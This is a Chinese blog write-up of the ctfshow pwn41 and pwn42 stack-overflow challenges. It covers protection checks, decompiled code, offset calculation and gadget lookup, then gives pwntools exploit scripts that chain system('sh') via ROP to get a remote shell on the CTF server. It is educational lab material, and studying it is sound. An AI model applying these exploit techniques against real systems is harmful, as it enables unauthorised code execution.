CTFshow-pwn入门-栈溢出pwn41-pwn42

13 篇文章 10 订阅

pwn41

在这里插入图片描述
我们首先将pwn文件下载下来,拖入到虚拟机查看一下文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
该文件只开启了栈不可执行,并且文件是32位的。
我们把文件托到ida32中查看一下反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo(&argc);
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  system("echo flag");
  return 0;
}
int useful()
{
  return printf("sh");
}

先简单说下这道题的思路,首先ctfshow函数中buf数组长度为14,却需要读入0x32个长度的数据,显然存在栈溢出。其次我们还可以注意到,hint函数中存在system函数,我们可以plt表中获取system函数的地址,然后再从useful函数获取到sh的地址,这样就可以拼凑处system(“sh”),进而拿到服务器的shell。

编写exp

计算溢出长度

在这里插入图片描述
从ctfshow函数中可以看到,buf在栈中的位置在ebp上面12h处,加上ebp本身所占栈单元的4个字节,那么栈溢出的长度就为0x12h+0x4h

拿到system函数的地址

使用objdump命令获取文件的plt表,从而直接拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483d0

拿到sh的地址

直接在ida中点击sh,可以直接跳转到data段从而拿到sh的地址。
在这里插入图片描述
sh的地址为:0x080487BA

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28160")

offset = 0x12 + 0x4

system_addr = 0x080483d0
sh_addr = 0x080487BA

payload = offset * 'a' 
payload += p32(system_addr)
payload += 'a' * 4 # 表示system函数的返回地址,由于不需要返回到某个地方,所以用4个字节顶替
payload += p32(sh_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn42

在这里插入图片描述
首先我们还是先将文件下载下来,托到虚拟机查看保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件的保护信息与上道题目几乎一样,开启了栈不可执行,只不过这个文件是64位的。那我们就先把他拖进到ida64中查看他的反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  logo();
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
__int64 hint()
{
  system("echo flag");
  return 0LL;
}
int useful()
{
  return printf("sh");
}

这道题的代码几乎跟上道题也是差不多的,还是一样的思路,利用ctfshow函数中buf的栈溢出,通过hint函数的system函数与useful函数的sh相结合拼凑成system(sh)来获得shell。

只不过在64位中,需要堆栈平衡 ,并且64位的传参和32位也不一样。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

编写exp

计算溢出长度

在这里插入图片描述
首先可以观察到,buf在栈中的位置在rbp上面Ah处,加上rbp本身所占栈单元的长度为8(32位为4,64位为8),那么溢出长度就为0xa + 0x8

拿到system函数的地址

还是通过使用objdump命令来获得文件的plt表从而拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400560

拿到sh的函数地址

直接在ida中点击sh,即可跳转到data段,就可以获得sh的地址了。
在这里插入图片描述
sh的地址为:0x0000000000400872

拿到pop rdi;ret和ret的地址

pop rdi,把参数pop到rdi寄存器中,再通过ret将程序的执行流控制到我们在栈中传入的恶意地址。

ROPgadget --binary pwn --only "pop|ret"

在这里插入图片描述
pop rdi;ret的地址为:0x0000000000400843
ret的地址为:0x000000000040053e

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28142")

offset = 0xa + 0x8

pop_rdi = 0x0000000000400843
ret = 0x000000000040053e
sh_addr = 0x0000000000400872
system_addr = 0x0000000000400560

payload = offset * 'a'
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(ret)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Pythonpwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值